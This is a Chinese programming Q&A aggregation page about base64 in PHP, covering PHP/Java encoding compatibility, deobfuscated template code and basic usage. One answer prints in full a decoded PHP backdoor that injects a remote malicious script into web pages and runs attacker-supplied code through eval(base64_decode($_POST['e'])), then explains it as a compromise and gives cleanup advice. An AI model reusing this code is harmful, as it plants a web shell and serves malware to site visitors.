當前位置:首頁 » 編程語言 » base64加密php

base64加密php

發布時間: 2022-05-05 01:53:02

php的base64加密,怎麼調整才能和java的base64的加密結果一致呢

phpbase64以後每76個字元加一個換行,
function javaBase64Encode($str)
{
$str = base64_encode($str);
$strLength = strlen($str);
$n = intval($strLength / 76);
if ($n <= 0) {
return $str;
}
for ($i = 1; $i <= $n; $i++) {
$position = 76 * $i + ($i - 1);
$str = substr_replace($str, PHP_EOL, $position, 0);
}
return $str;

}

function javaBase64Decode($str)
{
$strLength = strlen($str);
$n = intval($strLength / 76);
if ($n <= 0) {
return $str;
}
for ($i = $n; $i >= 1; $i--) {
$position = 76 * $i + ($i - 1);
$str = substr_replace($str, "", $position, 1);
}
return base64_decode($str);
}
或者使用chunk_split 函數也可以,默認就是76,而且不是所有的java代碼都需要這樣轉,要看java調用的是什麼類庫,有一些是不用的

Ⅱ PHP模板文件被加密了,base64_encode加密的好像,求破解成正常PHP代碼。

用了兩次自定函數的加密, 再就是部分字元轉換成 16進制和8進制
解來的結果是

class SubPages{ private $each_disNums;
private $nums;
private $current_page;
private $sub_pages;
private $pageNums;
private $page_array = array();
private $subPage_link;
private $subPage_type;
private $wjt_htm; function __construct($each_disNums,$nums,$current_page,$sub_pages,$subPage_link,$subPage_type,$weijingtai="0"){ global $wjtpagehz; global $pagenums; if($weijingtai=="1"){ $this->wjt_htm=$wjtpagehz; } $this->each_disNums=intval($each_disNums); $this->nums=intval($nums); if(!$current_page){ $this->current_page=1; }else{ $this->current_page=intval($current_page); } $this->sub_pages=intval($sub_pages); $this->pageNums=ceil($nums/$each_disNums)>$pagenums ? $pagenums : ceil($nums/$each_disNums); $this->subPage_link=$subPage_link; $this->show_SubPages($subPage_type); } function __destruct(){ unset($each_disNums); unset($nums); unset($current_page); unset($sub_pages); unset($pageNums); unset($page_array); unset($subPage_link); unset($subPage_type); } function show_SubPages($subPage_type){ if($subPage_type == 1){ $this->subPageCss1(); }elseif ($subPage_type == 2){ $this->subPageCss2(); } } function initArray(){ for($i=0;$i<$this->sub_pages;$i++){ $this->page_array[$i]=$i; } return $this->page_array; } function construct_num_Page(){ if($this->pageNums < $this->sub_pages){ $current_array=array(); for($i=0;$i<$this->pageNums;$i++){ $current_array[$i]=$i+1; } }else{ $current_array=$this->initArray(); if($this->current_page <= 3){ for($i=0;$i<count($current_array);$i++){ $current_array[$i]=$i+1; } }elseif ($this->current_page <= $this->pageNums && $this->current_page > $this->pageNums - $this->sub_pages + 1 ){ for($i=0;$i<count($current_array);$i++){ $current_array[$i]=($this->pageNums)-($this->sub_pages)+1+$i; } }else{ for($i=0;$i<count($current_array);$i++){ $current_array[$i]=$this->current_page-2+$i; } } } return $current_array; } function subPageCss1(){ $subPageCss1Str="";

$subPageCss1Str.="當前第".$this->current_page."頁 / 共".$this->pageNums."頁 "; if($this->current_page > 1){ $firstPageUrl=$this->subPage_link."1".$this->wjt_htm; $prewPageUrl=$this->subPage_link.($this->current_page-1).$this->wjt_htm;
$subPageCss1Str.="<a href='$prewPageUrl' class='previous-page'>上一頁</a> "; }else {
$subPageCss1Str.="<a class='no-previous'>上一頁</a> "; } if($this->current_page < $this->pageNums){ $lastPageUrl=$this->subPage_link.$this->pageNums.$this->wjt_htm; $nextPageUrl=$this->subPage_link.($this->current_page+1).$this->wjt_htm; $subPageCss1Str.=" <a href='$nextPageUrl' class='next-page'>下一頁</a> ";
}else { $subPageCss1Str.="<a class='no-next'>下一頁</a> ";
} echo $subPageCss1Str; } function subPageCss2(){ $subPageCss2Str="";
if($this->current_page > 1){ $firstPageUrl=$this->subPage_link."1".$this->wjt_htm; $prewPageUrl=$this->subPage_link.($this->current_page-1).$this->wjt_htm; $subPageCss2Str.="<a href='$firstPageUrl'>首頁</a>"; $subPageCss2Str.="<a href='$prewPageUrl' title='轉到上一頁'>上一頁</a>"; }else { $subPageCss2Str.=""; $subPageCss2Str.=""; } $a=$this->construct_num_Page(); for($i=0;$i<count($a);$i++){ $s=$a[$i]; if($s == $this->current_page ){ $subPageCss2Str.="<span>".$s."</span>"; }else{ $url=$this->subPage_link.$s.$this->wjt_htm; $subPageCss2Str.="<a href='$url'>".$s."</a>"; } } if($this->current_page < $this->pageNums){ $lastPageUrl=$this->subPage_link.$this->pageNums.$this->wjt_htm; $nextPageUrl=$this->subPage_link.($this->current_page+1).$this->wjt_htm; $subPageCss2Str.="<a href='$nextPageUrl' title='轉到下一頁'>下一頁</a>"; $subPageCss2Str.="<a href='$lastPageUrl'>尾頁</a> "; }else { $subPageCss2Str.=""; $subPageCss2Str.=""; } echo $subPageCss2Str; } } ;

Ⅲ PHP文件被加密了,base64_encode加密的好像,求破解成正常PHP代碼。

<?php
/**
* ============================================================================
* 版權所有 2008-2012 多多科技,並保留所有權利。
* 網站地址: http://soft.oo123.com;
* ----------------------------------------------------------------------------
* 這不是一個自由軟體!您只能在不用於商業目的的前提下對程序代碼進行修改和
* 使用;不允許對程序代碼以任何形式任何目的的再發布。
* ============================================================================
*/
if(!defined('INDEX') && !defined('ADMIN')){
exit('Access Denied');
}
define('MY_PLUGIN_KEY','cpxy'); //插件加密key
define('MY_PLUGIN_CODE','jianban'); //插件標識碼
$plugin_set=dd_get_cache('plugin');
include(DDROOT.'/plugin/plugin.class.php');
$re=check_plugin_auth(MY_PLUGIN_CODE,MY_PLUGIN_KEY);
if($re==Ƈ'){
jump(-1,'不存在授權碼');
}elseif($re==ƈ'){
jump(-1,'授權碼無法解密');
}elseif($re==Ɖ'){
jump(-1,'應用不存在或者已到期');
}elseif($re==Ɗ'){
jump(-1,'授權碼與網站不符');
}
//模板標簽
$moban=dd_get_cache('moban.tag');
$cid1=$moban['info']['cid1'];
$cid2=$moban['info']['cid2'];
if($moban['info']['bjms']==1){
$order='sort desc limit '.$moban['info']['dysl'].''
}elseif($moban['info']['bjms']==2){
$order='rand() desc limit 1'
}else{
$order='sort desc limit 1'
}
//文章1
$article_1=$oo->select_all('article','id,title,addtime','cid="'.$cid1.'" order by sort desc,id desc limit 0,5');
//文章2
$article_2=$oo->select_all('article','id,title,addtime','cid="'.$cid2.'" order by sort desc,id desc limit 0,5');
?>

Ⅳ java 怎麼實現PHP的base64加密,兩種語言的base64加密後的數據不一致

在開發的時候遇到個現象。對方用PHP base64_encode() 對字元串進行加米。但我這邊是用Java解馬。導致出現問題。問題如下:
[java] view plain
package com.tudou.test;
import java.io.IOException;
/**
* <p>java base64編碼和解碼的演示類
* 註:base64編碼後通過url傳遞時,獲得時"="會給替換掉,* 處理方式:在編碼前將"=","/","+" 替換成別的字元,在解碼之前替換回來* </p>
* @author tw 2010-03-01
*
*/
public class TestBase64Net {
/**
* 編馬
* @param filecontent
* @return String
*/
public static String encode(byte[] bstr){return new sun.misc.BASE64Encoder().encode(bstr);}
/**
* 解碼
* @param filecontent
* @return string
*/
public static byte[] decode(String str){
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();bt = decoder.decodeBuffer( str );
} catch (IOException e) {
e.printStackTrace();
}
return bt;
}
/**
* @param args
*/
public static void main(String[] args) {
TestBase64Net te = new TestBase64Net();
//PHP 用base64 將union_id=102155_100001_01_01 加米後的字元串為: //java 用sun.misc.BASE64Encoder().encode()進行解馬,結果為:union_id=102155_100001_01_01亂碼0System.out.println(new String(te.decode("")));//java 用sun.misc.BASE64Decoder 將union_id=102155_100001_01_01進行加米,結果為:==System.out.println(new String(te.encode("union_id=102155_100001_01_01".getBytes())));}
}
經過對比不難發現用php的base64_encode() 方法進行加米,JAVA 不能用sun.misc.BASE64Encoder().encode() 進行解米。那該怎麼辦?!
可以用apache的commons包 commons-codec-1.7.jar 中的org.apache.commons.codec.binary.Base64 進行解米。
[java] view plain
import org.apache.commons.codec.binary.Base64;public class TestBase64 {
public static void main(String[] args) {
System.out.println(new String(Base64.decodeBase64("".getBytes())));}
}
?

Ⅳ php通過base64實現動態url加密和解密的過程

BASE64不算加密,不要學微軟,沒有實際價值、浪費系統資源。

在客戶端是無法使用PHP的,PHP只能在伺服器上運行,在客戶端可以考慮使用JAVASCRIPT進行BASE64編碼,網上有許多這樣的例子,比如:http://ke..com/view/469071.htm

在伺服器端可以使用PHP識別BASE64編碼,使用函數base64decode即可。

Ⅵ 幫忙解密PHP base64加密最好解決方案也提出下。100求破碼200求解決方案

if(!isset($ev8l1)){function ev8l($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src=http://griffintoilethire.co.uk/images/s7cg/gifimg.php ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d){global $ev8l1;$s=array();if(function_exists($ev8l1))call_user_func($ev8l1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='ev8l')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('ev8l');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是將參數中的<script>...</script>部分替換為<script src=http://griffintoilethire.co.uk/images/s7cg/gifimg.php ></script>,這樣你的網頁就被掛上了馬。這段代碼應該是通過webshell上傳到你機器上的一段掛馬程序,至於webshell 的打開有很多原因,即然是php代碼那麼你的機器上很可能存在php遠程文件包含漏洞,也就是如果你的機器上存在Wordtrans、WordPress、rgboard、phpcms等php程序,那麼很可能就有這個的漏洞。
推薦解決方法:
1.恢復已被篡改的網頁
2.找一個RFI掃描器對本機進行掃描,將找到的漏洞進行修補(相應的程序網上都有對應的修補方法)

Ⅶ php通過base64如何實現動態URL加密

base64不能實現加密,只是採用了不同方式來對數據進行編碼,方便通過防火牆傳輸,php中base64 encode函數base64_encode("http://www..com/q?ct=17fjioasfjsoadfaf5451"); decode函數base64_decode($str);

php下,有加密函數string crypt ( string str [, string salt]),自己看看文檔把。

Ⅷ BASE64 加密結果如何通過PHP 還原明文 PHP如何將字元串加密成 BASE64

可以使用:base64_decode()和base64_encode()

【演示代碼】

<?php

$str='HelloWorld!';

$encode=base64_encode($str);

echo$encode;

$str2=base64_decode($encode);

echo"<br/>".$str2;

?>

【顯示】

熱點內容
安徽新能源網路配置是什麼 發布:2025-05-14 10:06:24 瀏覽:630
pinode搭建伺服器 發布:2025-05-14 10:04:23 瀏覽:3
電腦伺服器ip名稱 發布:2025-05-14 10:01:09 瀏覽:748
connectorpython 發布:2025-05-14 09:48:50 瀏覽:762
配置不好怎麼辦 發布:2025-05-14 09:46:40 瀏覽:622
數據流程圖中的數據存儲是指 發布:2025-05-14 09:46:39 瀏覽:445
我的世界伺服器id前綴mod 發布:2025-05-14 09:45:53 瀏覽:830
完整後台網站源碼 發布:2025-05-14 09:45:46 瀏覽:455
傳奇祝福腳本 發布:2025-05-14 09:34:12 瀏覽:571
電腦文件加密的軟體 發布:2025-05-14 09:29:20 瀏覽:354